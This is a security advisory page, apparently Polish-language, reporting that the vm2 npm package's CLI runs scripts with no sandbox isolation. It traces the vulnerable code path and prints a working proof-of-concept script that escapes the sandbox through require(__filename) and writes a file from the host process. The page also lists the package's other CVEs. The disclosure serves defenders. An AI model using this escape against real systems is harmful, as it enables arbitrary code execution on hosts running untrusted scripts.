Wysoka

vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts

  • Ujawniono: 01.10.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The vm2 command-line tool installed by npm install -g vm2 and documented in the README's "CLI" section runs the supplied script under NodeVM with require:{external:true} and no root / context / builtin configured. With these defaults the resolver loads every relative or absolute require() target through the host require() function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to vm2 ./script.js can call require(__filename) to re-execute itself in host realm and reach fs, child_process, etc. The documented sandbox runner is therefore equivalent to node ./script.js. No additional files, flags, or user interaction are required.

Details

The vulnerability lets a malicious sandboxed script - the file argument to the documented vm2 <file> CLI - execute arbitrary code in the host Node.js process, crossing the sandbox → host boundary that vm2 is meant to enforce.

Vulnerable code path

  1. Source - bin/vm2:3 → lib/cli.js:7-18. process.argv[2] is the attacker-authored script path. The CLI invokes:
    js
    NodeVM.file(path, { verbose: true, require: { external: true } });
    Without require.root, require.context, nor require.builtin.
  2. Hop - lib/nodevm.js:618-636. NodeVM.file reads the file and calls new NodeVM(options).run(body, resolvedFilename).
  3. Hop - lib/nodevm.js:335 → lib/resolver-compat.js:205-266 (makeResolverFromLegacyOptions). Destructures external:true, rootPaths=undefined, hostRequire=defaultRequire (line 218), context='host' (default, line 219). Because typeof externalOpt !== 'object' (line 265) it returns a CustomResolver with checkedRootPaths=undefined and pathContext = () => 'host' (line 263).
  4. Hop - lib/setup-node-sandbox.js:86-123 (requireImpl). Sandbox require(id) resolves via resolver.resolve(...) (lib/nodevm.js:380-383). lib/resolver.js:244-275 handles absolute/relative specifiers; tryFile at lib/resolver.js:327-329 gates on this.isPathAllowed(x).
  5. Barrier (gap) - lib/resolver-compat.js:53-54:
    js
    isPathAllowed(filename) {
        if (this.rootPaths === undefined) return true;
    With no root configured, every filesystem path is allowed. checkAccess (lib/resolver.js:39-42) delegates to the same method.
  6. Sink - lib/resolver-compat.js:74-77:
    js
    loadJS(vm, mod, filename) {
        if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...);
        const m = this.hostRequire(filename);   // ← host-realm require()
        mod.exports = vm.readonly(m);
    }
    hostRequire is defaultRequire (lib/resolver-compat.js:20-23) - the real host require(). The required module's top-level body executes in the host realm before vm.readonly() wraps the exports; wrapping happens too late to constrain side-effects. loadNode (lib/resolver-compat.js:80-83) is identical for .node native addons (process.dlopen in host).

PoC

Save the following as /tmp/poc.js:

js
'use strict';
try {
    // Host realm: fs is available - write sentinel and stop.
    const fs = require('fs');
    fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n');
    console.log('HOST realm: wrote /tmp/vm2.proof');
} catch (e) {
    // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -
    // the CLI resolver loads it via host require() (resolver-compat.js:76).
    console.log('sandbox realm: fs blocked (' + e.message + '); escaping');
    require(__filename);
}

Run via the shipped CLI exactly as the README documents:

bash
node ./bin/vm2 /tmp/poc.js        # or `vm2 /tmp/poc.js` after `npm i -g vm2`

Observed output:

sandbox realm: fs blocked (Cannot find module 'fs'); escaping
HOST realm: wrote /tmp/vm2.proof

/tmp/vm2.proof exists, written by fs.writeFileSync from a script whose direct require('fs') was blocked by the sandbox. The first line proves the boundary exists; the second proves it was crossed.

Impact

A user who follows the README's CLI section and runs vm2 ./untrusted.js on an attacker-supplied file gets arbitrary code execution as that user - the sandbox provides no isolation in this configuration. The blast radius is the full host Node.js process: fs, child_process, process.dlopen, network, environment.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm vm2 < 3.11.7 3.11.7

Odnośniki

Ocena CVSS 8.6/10
Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-1188, CWE-453, CWE-829
Platforma
npm
Paczka
vm2
Ujawniono
01.10.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-jxxv-8r27-vm4p - CC BY 4.0

Historia podatności: vm2

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (78) w archiwum
Wszystkich wpisów
78
Pierwsza → ostatnia
10.2021 10.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 51
  • Wysoka 14
  • Średnia 12
  • Niska 1

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Istotność:
  1. Krytyczna · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Krytyczna · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Krytyczna · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Krytyczna · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Krytyczna · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts ten wpis
    Wysoka · 8.6 CVE-2026-92950 < 3.11.7 3.11.7
  7. Krytyczna · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  8. Krytyczna · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Krytyczna · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  10. Krytyczna · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  11. Krytyczna · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  12. Krytyczna · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  13. Krytyczna · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  14. Wysoka · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  15. Krytyczna · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  16. Krytyczna · 9.9 CVE-2026-47686 < 3.11.6 3.11.6
  17. Krytyczna · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  18. Krytyczna · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  19. Krytyczna · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  20. Krytyczna · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  21. Krytyczna · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  22. Krytyczna · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  23. Wysoka · 8.5 CVE-2026-43998 >= 3.10.5, < 3.11.0 3.11.0
  24. Krytyczna · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  25. Krytyczna · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  26. Krytyczna · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  27. Krytyczna · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  28. Krytyczna · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  29. Krytyczna · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  30. Krytyczna · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  31. Krytyczna · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  32. Krytyczna · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  33. Krytyczna · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  34. Krytyczna · 9.8 CVE-2023-37903 <= 3.9.19 brak poprawki
  35. Krytyczna · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  36. Krytyczna · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  37. Krytyczna · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  38. Krytyczna · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
Pokaż więcej (5) Widać 60 z 65

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.